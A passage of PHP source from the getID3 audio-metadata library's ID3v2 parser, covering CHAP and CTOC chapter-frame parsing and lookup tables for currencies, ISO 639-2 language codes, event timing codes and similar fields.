			$info['replay_gain']['album']['originator'] = $parsedFrame['album']['originator'];
			$info['replay_gain']['album']['adjustment'] = $parsedFrame['album']['adjustment'];

			unset($parsedFrame['data']);

		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CHAP')) { // CHAP Chapters frame (ID3v2.3+ only)
			// http://id3.org/id3v2-chapters-1.0
			// <ID3v2.3 or ID3v2.4 frame header, ID: "CHAP">           (10 bytes)
			// Element ID      <text string> $00
			// Start time      $xx xx xx xx
			// End time        $xx xx xx xx
            // Start offset    $xx xx xx xx
            // End offset      $xx xx xx xx
            // <Optional embedded sub-frames>

			$frame_offset = 0;
			@list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2);
			$frame_offset += strlen($parsedFrame['element_id']."\x00");
			$parsedFrame['time_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['time_end']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") {
				// "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
				$parsedFrame['offset_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			}
			$frame_offset += 4;
			if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") {
				// "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
				$parsedFrame['offset_end']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			}
			$frame_offset += 4;

			if ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['subframes'] = array();
				while ($frame_offset < strlen($parsedFrame['data'])) {
					// <Optional embedded sub-frames>
					$subframe = array();
					$subframe['name']      =                           substr($parsedFrame['data'], $frame_offset, 4);
					$frame_offset += 4;
					$subframe['size']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
					$frame_offset += 4;
					$subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
					$frame_offset += 2;
					if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) {
						$this->warning('CHAP subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)');
						break;
					}
					$subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']);
					$frame_offset += $subframe['size'];

					$subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1));
					$subframe['text']       =     substr($subframe_rawdata, 1);
					$subframe['encoding']   = $this->TextEncodingNameLookup($subframe['encodingid']);
					$encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));;
					switch (substr($encoding_converted_text, 0, 2)) {
						case "\xFF\xFE":
						case "\xFE\xFF":
							switch (strtoupper($info['id3v2']['encoding'])) {
								case 'ISO-8859-1':
								case 'UTF-8':
									$encoding_converted_text = substr($encoding_converted_text, 2);
									// remove unwanted byte-order-marks
									break;
								default:
									// ignore
									break;
							}
							break;
						default:
							// do not remove BOM
							break;
					}

					if (($subframe['name'] == 'TIT2') || ($subframe['name'] == 'TIT3')) {
						if ($subframe['name'] == 'TIT2') {
							$parsedFrame['chapter_name']        = $encoding_converted_text;
						} elseif ($subframe['name'] == 'TIT3') {
							$parsedFrame['chapter_description'] = $encoding_converted_text;
						}
						$parsedFrame['subframes'][] = $subframe;
					} else {
						$this->warning('ID3v2.CHAP subframe "'.$subframe['name'].'" not handled (only TIT2 and TIT3)');
					}
				}
				unset($subframe_rawdata, $subframe, $encoding_converted_text);
			}

			$id3v2_chapter_entry = array();
			foreach (array('id', 'time_begin', 'time_end', 'offset_begin', 'offset_end', 'chapter_name', 'chapter_description') as $id3v2_chapter_key) {
				if (isset($parsedFrame[$id3v2_chapter_key])) {
					$id3v2_chapter_entry[$id3v2_chapter_key] = $parsedFrame[$id3v2_chapter_key];
				}
			}
			if (!isset($info['id3v2']['chapters'])) {
				$info['id3v2']['chapters'] = array();
			}
			$info['id3v2']['chapters'][] = $id3v2_chapter_entry;
			unset($id3v2_chapter_entry, $id3v2_chapter_key);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CTOC')) { // CTOC Chapters Table Of Contents frame (ID3v2.3+ only)
			// http://id3.org/id3v2-chapters-1.0
			// <ID3v2.3 or ID3v2.4 frame header, ID: "CTOC">           (10 bytes)
			// Element ID      <text string> $00
			// CTOC flags        %xx
			// Entry count       $xx
			// Child Element ID  <string>$00   /* zero or more child CHAP or CTOC entries */
            // <Optional embedded sub-frames>

			$frame_offset = 0;
			@list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2);
			$frame_offset += strlen($parsedFrame['element_id']."\x00");
			$ctoc_flags_raw = ord(substr($parsedFrame['data'], $frame_offset, 1));
			$frame_offset += 1;
			$parsedFrame['entry_count'] = ord(substr($parsedFrame['data'], $frame_offset, 1));
			$frame_offset += 1;

			$terminator_position = null;
			for ($i = 0; $i < $parsedFrame['entry_count']; $i++) {
				$terminator_position = strpos($parsedFrame['data'], "\x00", $frame_offset);
				$parsedFrame['child_element_ids'][$i] = substr($parsedFrame['data'], $frame_offset, $terminator_position - $frame_offset);
				$frame_offset = $terminator_position + 1;
			}

			$parsedFrame['ctoc_flags']['ordered']   = (bool) ($ctoc_flags_raw & 0x01);
			$parsedFrame['ctoc_flags']['top_level'] = (bool) ($ctoc_flags_raw & 0x03);

			unset($ctoc_flags_raw, $terminator_position);

			if ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['subframes'] = array();
				while ($frame_offset < strlen($parsedFrame['data'])) {
					// <Optional embedded sub-frames>
					$subframe = array();
					$subframe['name']      =                           substr($parsedFrame['data'], $frame_offset, 4);
					$frame_offset += 4;
					$subframe['size']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
					$frame_offset += 4;
					$subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
					$frame_offset += 2;
					if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) {
						$this->warning('CTOS subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)');
						break;
					}
					$subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']);
					$frame_offset += $subframe['size'];

					$subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1));
					$subframe['text']       =     substr($subframe_rawdata, 1);
					$subframe['encoding']   = $this->TextEncodingNameLookup($subframe['encodingid']);
					$encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));;
					switch (substr($encoding_converted_text, 0, 2)) {
						case "\xFF\xFE":
						case "\xFE\xFF":
							switch (strtoupper($info['id3v2']['encoding'])) {
								case 'ISO-8859-1':
								case 'UTF-8':
									$encoding_converted_text = substr($encoding_converted_text, 2);
									// remove unwanted byte-order-marks
									break;
								default:
									// ignore
									break;
							}
							break;
						default:
							// do not remove BOM
							break;
					}

					if (($subframe['name'] == 'TIT2') || ($subframe['name'] == 'TIT3')) {
						if ($subframe['name'] == 'TIT2') {
							$parsedFrame['toc_name']        = $encoding_converted_text;
						} elseif ($subframe['name'] == 'TIT3') {
							$parsedFrame['toc_description'] = $encoding_converted_text;
						}
						$parsedFrame['subframes'][] = $subframe;
					} else {
						$this->warning('ID3v2.CTOC subframe "'.$subframe['name'].'" not handled (only TIT2 and TIT3)');
					}
				}
				unset($subframe_rawdata, $subframe, $encoding_converted_text);
			}

		}

		return true;
	}


	public function DeUnsynchronise($data) {
		return str_replace("\xFF\x00", "\xFF", $data);
	}

	public function LookupExtendedHeaderRestrictionsTagSizeLimits($index) {
		static $LookupExtendedHeaderRestrictionsTagSizeLimits = array(
			0x00 => 'No more than 128 frames and 1 MB total tag size',
			0x01 => 'No more than 64 frames and 128 KB total tag size',
			0x02 => 'No more than 32 frames and 40 KB total tag size',
			0x03 => 'No more than 32 frames and 4 KB total tag size',
		);
		return (isset($LookupExtendedHeaderRestrictionsTagSizeLimits[$index]) ? $LookupExtendedHeaderRestrictionsTagSizeLimits[$index] : '');
	}

	public function LookupExtendedHeaderRestrictionsTextEncodings($index) {
		static $LookupExtendedHeaderRestrictionsTextEncodings = array(
			0x00 => 'No restrictions',
			0x01 => 'Strings are only encoded with ISO-8859-1 or UTF-8',
		);
		return (isset($LookupExtendedHeaderRestrictionsTextEncodings[$index]) ? $LookupExtendedHeaderRestrictionsTextEncodings[$index] : '');
	}

	public function LookupExtendedHeaderRestrictionsTextFieldSize($index) {
		static $LookupExtendedHeaderRestrictionsTextFieldSize = array(
			0x00 => 'No restrictions',
			0x01 => 'No string is longer than 1024 characters',
			0x02 => 'No string is longer than 128 characters',
			0x03 => 'No string is longer than 30 characters',
		);
		return (isset($LookupExtendedHeaderRestrictionsTextFieldSize[$index]) ? $LookupExtendedHeaderRestrictionsTextFieldSize[$index] : '');
	}

	public function LookupExtendedHeaderRestrictionsImageEncoding($index) {
		static $LookupExtendedHeaderRestrictionsImageEncoding = array(
			0x00 => 'No restrictions',
			0x01 => 'Images are encoded only with PNG or JPEG',
		);
		return (isset($LookupExtendedHeaderRestrictionsImageEncoding[$index]) ? $LookupExtendedHeaderRestrictionsImageEncoding[$index] : '');
	}

	public function LookupExtendedHeaderRestrictionsImageSizeSize($index) {
		static $LookupExtendedHeaderRestrictionsImageSizeSize = array(
			0x00 => 'No restrictions',
			0x01 => 'All images are 256x256 pixels or smaller',
			0x02 => 'All images are 64x64 pixels or smaller',
			0x03 => 'All images are exactly 64x64 pixels, unless required otherwise',
		);
		return (isset($LookupExtendedHeaderRestrictionsImageSizeSize[$index]) ? $LookupExtendedHeaderRestrictionsImageSizeSize[$index] : '');
	}

	public function LookupCurrencyUnits($currencyid) {

		$begin = __LINE__;

		/** This is not a comment!


			AED	Dirhams
			AFA	Afghanis
			ALL	Leke
			AMD	Drams
			ANG	Guilders
			AOA	Kwanza
			ARS	Pesos
			ATS	Schillings
			AUD	Dollars
			AWG	Guilders
			AZM	Manats
			BAM	Convertible Marka
			BBD	Dollars
			BDT	Taka
			BEF	Francs
			BGL	Leva
			BHD	Dinars
			BIF	Francs
			BMD	Dollars
			BND	Dollars
			BOB	Bolivianos
			BRL	Brazil Real
			BSD	Dollars
			BTN	Ngultrum
			BWP	Pulas
			BYR	Rubles
			BZD	Dollars
			CAD	Dollars
			CDF	Congolese Francs
			CHF	Francs
			CLP	Pesos
			CNY	Yuan Renminbi
			COP	Pesos
			CRC	Colones
			CUP	Pesos
			CVE	Escudos
			CYP	Pounds
			CZK	Koruny
			DEM	Deutsche Marks
			DJF	Francs
			DKK	Kroner
			DOP	Pesos
			DZD	Algeria Dinars
			EEK	Krooni
			EGP	Pounds
			ERN	Nakfa
			ESP	Pesetas
			ETB	Birr
			EUR	Euro
			FIM	Markkaa
			FJD	Dollars
			FKP	Pounds
			FRF	Francs
			GBP	Pounds
			GEL	Lari
			GGP	Pounds
			GHC	Cedis
			GIP	Pounds
			GMD	Dalasi
			GNF	Francs
			GRD	Drachmae
			GTQ	Quetzales
			GYD	Dollars
			HKD	Dollars
			HNL	Lempiras
			HRK	Kuna
			HTG	Gourdes
			HUF	Forints
			IDR	Rupiahs
			IEP	Pounds
			ILS	New Shekels
			IMP	Pounds
			INR	Rupees
			IQD	Dinars
			IRR	Rials
			ISK	Kronur
			ITL	Lire
			JEP	Pounds
			JMD	Dollars
			JOD	Dinars
			JPY	Yen
			KES	Shillings
			KGS	Soms
			KHR	Riels
			KMF	Francs
			KPW	Won
			KWD	Dinars
			KYD	Dollars
			KZT	Tenge
			LAK	Kips
			LBP	Pounds
			LKR	Rupees
			LRD	Dollars
			LSL	Maloti
			LTL	Litai
			LUF	Francs
			LVL	Lati
			LYD	Dinars
			MAD	Dirhams
			MDL	Lei
			MGF	Malagasy Francs
			MKD	Denars
			MMK	Kyats
			MNT	Tugriks
			MOP	Patacas
			MRO	Ouguiyas
			MTL	Liri
			MUR	Rupees
			MVR	Rufiyaa
			MWK	Kwachas
			MXN	Pesos
			MYR	Ringgits
			MZM	Meticais
			NAD	Dollars
			NGN	Nairas
			NIO	Gold Cordobas
			NLG	Guilders
			NOK	Krone
			NPR	Nepal Rupees
			NZD	Dollars
			OMR	Rials
			PAB	Balboa
			PEN	Nuevos Soles
			PGK	Kina
			PHP	Pesos
			PKR	Rupees
			PLN	Zlotych
			PTE	Escudos
			PYG	Guarani
			QAR	Rials
			ROL	Lei
			RUR	Rubles
			RWF	Rwanda Francs
			SAR	Riyals
			SBD	Dollars
			SCR	Rupees
			SDD	Dinars
			SEK	Kronor
			SGD	Dollars
			SHP	Pounds
			SIT	Tolars
			SKK	Koruny
			SLL	Leones
			SOS	Shillings
			SPL	Luigini
			SRG	Guilders
			STD	Dobras
			SVC	Colones
			SYP	Pounds
			SZL	Emalangeni
			THB	Baht
			TJR	Rubles
			TMM	Manats
			TND	Dinars
			TOP	Pa'anga
			TRL	Liras
			TTD	Dollars
			TVD	Tuvalu Dollars
			TWD	New Dollars
			TZS	Shillings
			UAH	Hryvnia
			UGX	Shillings
			USD	Dollars
			UYU	Pesos
			UZS	Sums
			VAL	Lire
			VEB	Bolivares
			VND	Dong
			VUV	Vatu
			WST	Tala
			XAF	Francs
			XAG	Ounces
			XAU	Ounces
			XCD	Dollars
			XDR	Special Drawing Rights
			XPD	Ounces
			XPF	Francs
			XPT	Ounces
			YER	Rials
			YUM	New Dinars
			ZAR	Rand
			ZMK	Kwacha
			ZWD	Zimbabwe Dollars

		*/

		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-units');
	}


	public function LookupCurrencyCountry($currencyid) {

		$begin = __LINE__;

		/** This is not a comment!

			AED	United Arab Emirates
			AFA	Afghanistan
			ALL	Albania
			AMD	Armenia
			ANG	Netherlands Antilles
			AOA	Angola
			ARS	Argentina
			ATS	Austria
			AUD	Australia
			AWG	Aruba
			AZM	Azerbaijan
			BAM	Bosnia and Herzegovina
			BBD	Barbados
			BDT	Bangladesh
			BEF	Belgium
			BGL	Bulgaria
			BHD	Bahrain
			BIF	Burundi
			BMD	Bermuda
			BND	Brunei Darussalam
			BOB	Bolivia
			BRL	Brazil
			BSD	Bahamas
			BTN	Bhutan
			BWP	Botswana
			BYR	Belarus
			BZD	Belize
			CAD	Canada
			CDF	Congo/Kinshasa
			CHF	Switzerland
			CLP	Chile
			CNY	China
			COP	Colombia
			CRC	Costa Rica
			CUP	Cuba
			CVE	Cape Verde
			CYP	Cyprus
			CZK	Czech Republic
			DEM	Germany
			DJF	Djibouti
			DKK	Denmark
			DOP	Dominican Republic
			DZD	Algeria
			EEK	Estonia
			EGP	Egypt
			ERN	Eritrea
			ESP	Spain
			ETB	Ethiopia
			EUR	Euro Member Countries
			FIM	Finland
			FJD	Fiji
			FKP	Falkland Islands (Malvinas)
			FRF	France
			GBP	United Kingdom
			GEL	Georgia
			GGP	Guernsey
			GHC	Ghana
			GIP	Gibraltar
			GMD	Gambia
			GNF	Guinea
			GRD	Greece
			GTQ	Guatemala
			GYD	Guyana
			HKD	Hong Kong
			HNL	Honduras
			HRK	Croatia
			HTG	Haiti
			HUF	Hungary
			IDR	Indonesia
			IEP	Ireland (Eire)
			ILS	Israel
			IMP	Isle of Man
			INR	India
			IQD	Iraq
			IRR	Iran
			ISK	Iceland
			ITL	Italy
			JEP	Jersey
			JMD	Jamaica
			JOD	Jordan
			JPY	Japan
			KES	Kenya
			KGS	Kyrgyzstan
			KHR	Cambodia
			KMF	Comoros
			KPW	Korea
			KWD	Kuwait
			KYD	Cayman Islands
			KZT	Kazakstan
			LAK	Laos
			LBP	Lebanon
			LKR	Sri Lanka
			LRD	Liberia
			LSL	Lesotho
			LTL	Lithuania
			LUF	Luxembourg
			LVL	Latvia
			LYD	Libya
			MAD	Morocco
			MDL	Moldova
			MGF	Madagascar
			MKD	Macedonia
			MMK	Myanmar (Burma)
			MNT	Mongolia
			MOP	Macau
			MRO	Mauritania
			MTL	Malta
			MUR	Mauritius
			MVR	Maldives (Maldive Islands)
			MWK	Malawi
			MXN	Mexico
			MYR	Malaysia
			MZM	Mozambique
			NAD	Namibia
			NGN	Nigeria
			NIO	Nicaragua
			NLG	Netherlands (Holland)
			NOK	Norway
			NPR	Nepal
			NZD	New Zealand
			OMR	Oman
			PAB	Panama
			PEN	Peru
			PGK	Papua New Guinea
			PHP	Philippines
			PKR	Pakistan
			PLN	Poland
			PTE	Portugal
			PYG	Paraguay
			QAR	Qatar
			ROL	Romania
			RUR	Russia
			RWF	Rwanda
			SAR	Saudi Arabia
			SBD	Solomon Islands
			SCR	Seychelles
			SDD	Sudan
			SEK	Sweden
			SGD	Singapore
			SHP	Saint Helena
			SIT	Slovenia
			SKK	Slovakia
			SLL	Sierra Leone
			SOS	Somalia
			SPL	Seborga
			SRG	Suriname
			STD	São Tome and Principe
			SVC	El Salvador
			SYP	Syria
			SZL	Swaziland
			THB	Thailand
			TJR	Tajikistan
			TMM	Turkmenistan
			TND	Tunisia
			TOP	Tonga
			TRL	Turkey
			TTD	Trinidad and Tobago
			TVD	Tuvalu
			TWD	Taiwan
			TZS	Tanzania
			UAH	Ukraine
			UGX	Uganda
			USD	United States of America
			UYU	Uruguay
			UZS	Uzbekistan
			VAL	Vatican City
			VEB	Venezuela
			VND	Viet Nam
			VUV	Vanuatu
			WST	Samoa
			XAF	Communauté Financière Africaine
			XAG	Silver
			XAU	Gold
			XCD	East Caribbean
			XDR	International Monetary Fund
			XPD	Palladium
			XPF	Comptoirs Français du Pacifique
			XPT	Platinum
			YER	Yemen
			YUM	Yugoslavia
			ZAR	South Africa
			ZMK	Zambia
			ZWD	Zimbabwe

		*/

		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-country');
	}



	public static function LanguageLookup($languagecode, $casesensitive=false) {

		if (!$casesensitive) {
			$languagecode = strtolower($languagecode);
		}

		// http://www.id3.org/id3v2.4.0-structure.txt
		// [4.   ID3v2 frame overview]
		// The three byte language field, present in several frames, is used to
		// describe the language of the frame's content, according to ISO-639-2
		// [ISO-639-2]. The language should be represented in lower case. If the
		// language is not known the string "XXX" should be used.


		// ISO 639-2 - http://www.id3.org/iso639-2.html

		$begin = __LINE__;

		/** This is not a comment!

			XXX	unknown
			xxx	unknown
			aar	Afar
			abk	Abkhazian
			ace	Achinese
			ach	Acoli
			ada	Adangme
			afa	Afro-Asiatic (Other)
			afh	Afrihili
			afr	Afrikaans
			aka	Akan
			akk	Akkadian
			alb	Albanian
			ale	Aleut
			alg	Algonquian Languages
			amh	Amharic
			ang	English, Old (ca. 450-1100)
			apa	Apache Languages
			ara	Arabic
			arc	Aramaic
			arm	Armenian
			arn	Araucanian
			arp	Arapaho
			art	Artificial (Other)
			arw	Arawak
			asm	Assamese
			ath	Athapascan Languages
			ava	Avaric
			ave	Avestan
			awa	Awadhi
			aym	Aymara
			aze	Azerbaijani
			bad	Banda
			bai	Bamileke Languages
			bak	Bashkir
			bal	Baluchi
			bam	Bambara
			ban	Balinese
			baq	Basque
			bas	Basa
			bat	Baltic (Other)
			bej	Beja
			bel	Byelorussian
			bem	Bemba
			ben	Bengali
			ber	Berber (Other)
			bho	Bhojpuri
			bih	Bihari
			bik	Bikol
			bin	Bini
			bis	Bislama
			bla	Siksika
			bnt	Bantu (Other)
			bod	Tibetan
			bra	Braj
			bre	Breton
			bua	Buriat
			bug	Buginese
			bul	Bulgarian
			bur	Burmese
			cad	Caddo
			cai	Central American Indian (Other)
			car	Carib
			cat	Catalan
			cau	Caucasian (Other)
			ceb	Cebuano
			cel	Celtic (Other)
			ces	Czech
			cha	Chamorro
			chb	Chibcha
			che	Chechen
			chg	Chagatai
			chi	Chinese
			chm	Mari
			chn	Chinook jargon
			cho	Choctaw
			chr	Cherokee
			chu	Church Slavic
			chv	Chuvash
			chy	Cheyenne
			cop	Coptic
			cor	Cornish
			cos	Corsican
			cpe	Creoles and Pidgins, English-based (Other)
			cpf	Creoles and Pidgins, French-based (Other)
			cpp	Creoles and Pidgins, Portuguese-based (Other)
			cre	Cree
			crp	Creoles and Pidgins (Other)
			cus	Cushitic (Other)
			cym	Welsh
			cze	Czech
			dak	Dakota
			dan	Danish
			del	Delaware
			deu	German
			din	Dinka
			div	Divehi
			doi	Dogri
			dra	Dravidian (Other)
			dua	Duala
			dum	Dutch, Middle (ca. 1050-1350)
			dut	Dutch
			dyu	Dyula
			dzo	Dzongkha
			efi	Efik
			egy	Egyptian (Ancient)
			eka	Ekajuk
			ell	Greek, Modern (1453-)
			elx	Elamite
			eng	English
			enm	English, Middle (ca. 1100-1500)
			epo	Esperanto
			esk	Eskimo (Other)
			esl	Spanish
			est	Estonian
			eus	Basque
			ewe	Ewe
			ewo	Ewondo
			fan	Fang
			fao	Faroese
			fas	Persian
			fat	Fanti
			fij	Fijian
			fin	Finnish
			fiu	Finno-Ugrian (Other)
			fon	Fon
			fra	French
			fre	French
			frm	French, Middle (ca. 1400-1600)
			fro	French, Old (842- ca. 1400)
			fry	Frisian
			ful	Fulah
			gaa	Ga
			gae	Gaelic (Scots)
			gai	Irish
			gay	Gayo
			gdh	Gaelic (Scots)
			gem	Germanic (Other)
			geo	Georgian
			ger	German
			gez	Geez
			gil	Gilbertese
			glg	Gallegan
			gmh	German, Middle High (ca. 1050-1500)
			goh	German, Old High (ca. 750-1050)
			gon	Gondi
			got	Gothic
			grb	Grebo
			grc	Greek, Ancient (to 1453)
			gre	Greek, Modern (1453-)
			grn	Guarani
			guj	Gujarati
			hai	Haida
			hau	Hausa
			haw	Hawaiian
			heb	Hebrew
			her	Herero
			hil	Hiligaynon
			him	Himachali
			hin	Hindi
			hmo	Hiri Motu
			hun	Hungarian
			hup	Hupa
			hye	Armenian
			iba	Iban
			ibo	Igbo
			ice	Icelandic
			ijo	Ijo
			iku	Inuktitut
			ilo	Iloko
			ina	Interlingua (International Auxiliary language Association)
			inc	Indic (Other)
			ind	Indonesian
			ine	Indo-European (Other)
			ine	Interlingue
			ipk	Inupiak
			ira	Iranian (Other)
			iri	Irish
			iro	Iroquoian uages
			isl	Icelandic
			ita	Italian
			jav	Javanese
			jaw	Javanese
			jpn	Japanese
			jpr	Judeo-Persian
			jrb	Judeo-Arabic
			kaa	Kara-Kalpak
			kab	Kabyle
			kac	Kachin
			kal	Greenlandic
			kam	Kamba
			kan	Kannada
			kar	Karen
			kas	Kashmiri
			kat	Georgian
			kau	Kanuri
			kaw	Kawi
			kaz	Kazakh
			kha	Khasi
			khi	Khoisan (Other)
			khm	Khmer
			kho	Khotanese
			kik	Kikuyu
			kin	Kinyarwanda
			kir	Kirghiz
			kok	Konkani
			kom	Komi
			kon	Kongo
			kor	Korean
			kpe	Kpelle
			kro	Kru
			kru	Kurukh
			kua	Kuanyama
			kum	Kumyk
			kur	Kurdish
			kus	Kusaie
			kut	Kutenai
			lad	Ladino
			lah	Lahnda
			lam	Lamba
			lao	Lao
			lat	Latin
			lav	Latvian
			lez	Lezghian
			lin	Lingala
			lit	Lithuanian
			lol	Mongo
			loz	Lozi
			ltz	Letzeburgesch
			lub	Luba-Katanga
			lug	Ganda
			lui	Luiseno
			lun	Lunda
			luo	Luo (Kenya and Tanzania)
			mac	Macedonian
			mad	Madurese
			mag	Magahi
			mah	Marshall
			mai	Maithili
			mak	Macedonian
			mak	Makasar
			mal	Malayalam
			man	Mandingo
			mao	Maori
			map	Austronesian (Other)
			mar	Marathi
			mas	Masai
			max	Manx
			may	Malay
			men	Mende
			mga	Irish, Middle (900 - 1200)
			mic	Micmac
			min	Minangkabau
			mis	Miscellaneous (Other)
			mkh	Mon-Kmer (Other)
			mlg	Malagasy
			mlt	Maltese
			mni	Manipuri
			mno	Manobo Languages
			moh	Mohawk
			mol	Moldavian
			mon	Mongolian
			mos	Mossi
			mri	Maori
			msa	Malay
			mul	Multiple Languages
			mun	Munda Languages
			mus	Creek
			mwr	Marwari
			mya	Burmese
			myn	Mayan Languages
			nah	Aztec
			nai	North American Indian (Other)
			nau	Nauru
			nav	Navajo
			nbl	Ndebele, South
			nde	Ndebele, North
			ndo	Ndongo
			nep	Nepali
			new	Newari
			nic	Niger-Kordofanian (Other)
			niu	Niuean
			nla	Dutch
			nno	Norwegian (Nynorsk)
			non	Norse, Old
			nor	Norwegian
			nso	Sotho, Northern
			nub	Nubian Languages
			nya	Nyanja
			nym	Nyamwezi
			nyn	Nyankole
			nyo	Nyoro
			nzi	Nzima
			oci	Langue d'Oc (post 1500)
			oji	Ojibwa
			ori	Oriya
			orm	Oromo
			osa	Osage
			oss	Ossetic
			ota	Turkish, Ottoman (1500 - 1928)
			oto	Otomian Languages
			paa	Papuan-Australian (Other)
			pag	Pangasinan
			pal	Pahlavi
			pam	Pampanga
			pan	Panjabi
			pap	Papiamento
			pau	Palauan
			peo	Persian, Old (ca 600 - 400 B.C.)
			per	Persian
			phn	Phoenician
			pli	Pali
			pol	Polish
			pon	Ponape
			por	Portuguese
			pra	Prakrit uages
			pro	Provencal, Old (to 1500)
			pus	Pushto
			que	Quechua
			raj	Rajasthani
			rar	Rarotongan
			roa	Romance (Other)
			roh	Rhaeto-Romance
			rom	Romany
			ron	Romanian
			rum	Romanian
			run	Rundi
			rus	Russian
			sad	Sandawe
			sag	Sango
			sah	Yakut
			sai	South American Indian (Other)
			sal	Salishan Languages
			sam	Samaritan Aramaic
			san	Sanskrit
			sco	Scots
			scr	Serbo-Croatian
			sel	Selkup
			sem	Semitic (Other)
			sga	Irish, Old (to 900)
			shn	Shan
			sid	Sidamo
			sin	Singhalese
			sio	Siouan Languages
			sit	Sino-Tibetan (Other)
			sla	Slavic (Other)
			slk	Slovak
			slo	Slovak
			slv	Slovenian
			smi	Sami Languages
			smo	Samoan
			sna	Shona
			snd	Sindhi
			sog	Sogdian
			som	Somali
			son	Songhai
			sot	Sotho, Southern
			spa	Spanish
			sqi	Albanian
			srd	Sardinian
			srr	Serer
			ssa	Nilo-Saharan (Other)
			ssw	Siswant
			ssw	Swazi
			suk	Sukuma
			sun	Sudanese
			sus	Susu
			sux	Sumerian
			sve	Swedish
			swa	Swahili
			swe	Swedish
			syr	Syriac
			tah	Tahitian
			tam	Tamil
			tat	Tatar
			tel	Telugu
			tem	Timne
			ter	Tereno
			tgk	Tajik
			tgl	Tagalog
			tha	Thai
			tib	Tibetan
			tig	Tigre
			tir	Tigrinya
			tiv	Tivi
			tli	Tlingit
			tmh	Tamashek
			tog	Tonga (Nyasa)
			ton	Tonga (Tonga Islands)
			tru	Truk
			tsi	Tsimshian
			tsn	Tswana
			tso	Tsonga
			tuk	Turkmen
			tum	Tumbuka
			tur	Turkish
			tut	Altaic (Other)
			twi	Twi
			tyv	Tuvinian
			uga	Ugaritic
			uig	Uighur
			ukr	Ukrainian
			umb	Umbundu
			und	Undetermined
			urd	Urdu
			uzb	Uzbek
			vai	Vai
			ven	Venda
			vie	Vietnamese
			vol	Volapük
			vot	Votic
			wak	Wakashan Languages
			wal	Walamo
			war	Waray
			was	Washo
			wel	Welsh
			wen	Sorbian Languages
			wol	Wolof
			xho	Xhosa
			yao	Yao
			yap	Yap
			yid	Yiddish
			yor	Yoruba
			zap	Zapotec
			zen	Zenaga
			zha	Zhuang
			zho	Chinese
			zul	Zulu
			zun	Zuni

		*/

		return getid3_lib::EmbeddedLookup($languagecode, $begin, __LINE__, __FILE__, 'id3v2-languagecode');
	}


	public static function ETCOEventLookup($index) {
		if (($index >= 0x17) && ($index <= 0xDF)) {
			return 'reserved for future use';
		}
		if (($index >= 0xE0) && ($index <= 0xEF)) {
			return 'not predefined synch 0-F';
		}
		if (($index >= 0xF0) && ($index <= 0xFC)) {
			return 'reserved for future use';
		}

		static $EventLookup = array(
			0x00 => 'padding (has no meaning)',
			0x01 => 'end of initial silence',
			0x02 => 'intro start',
			0x03 => 'main part start',
			0x04 => 'outro start',
			0x05 => 'outro end',
			0x06 => 'verse start',
			0x07 => 'refrain start',
			0x08 => 'interlude start',
			0x09 => 'theme start',
			0x0A => 'variation start',
			0x0B => 'key change',
			0x0C => 'time change',
			0x0D => 'momentary unwanted noise (Snap, Crackle & Pop)',
			0x0E => 'sustained noise',
			0x0F => 'sustained noise end',
			0x10 => 'intro end',
			0x11 => 'main part end',
			0x12 => 'verse end',
			0x13 => 'refrain end',
			0x14 => 'theme end',
			0x15 => 'profanity',
			0x16 => 'profanity end',
			0xFD => 'audio end (start of silence)',
			0xFE => 'audio file ends',
			0xFF => 'one more byte of events follows'
		);

		return (isset($EventLookup[$index]) ? $EventLookup[$index] : '');
	}

	public static function SYTLContentTypeLookup($index) {
		static $SYTLContentTypeLookup = array(
			0x00 => 'other',
			0x01 => 'lyrics',
			0x02 => 'text transcription',
			0x03 => 'movement/part name', // (e.g. 'Adagio')
			0x04 => 'events',             // (e.g. 'Don Quijote enters the stage')
			0x05 => 'chord',              // (e.g. 'Bb F Fsus')
			0x06 => 'trivia/\'pop up\' information',
			0x07 => 'URLs to webpages',
			0x08 => 'URLs to images'
		);

		return (isset($SYTLContentTypeLookup[$index]) ? $SYTLContentTypeLookup[$index] : '');
	}

	public static function APICPictureTypeLookup($index, $returnarray=false) {
		static $APICPictureTypeLookup = array(
			0x00 => 'Other',
			0x01 => '32x32 pixels \'file icon\' (PNG only)',
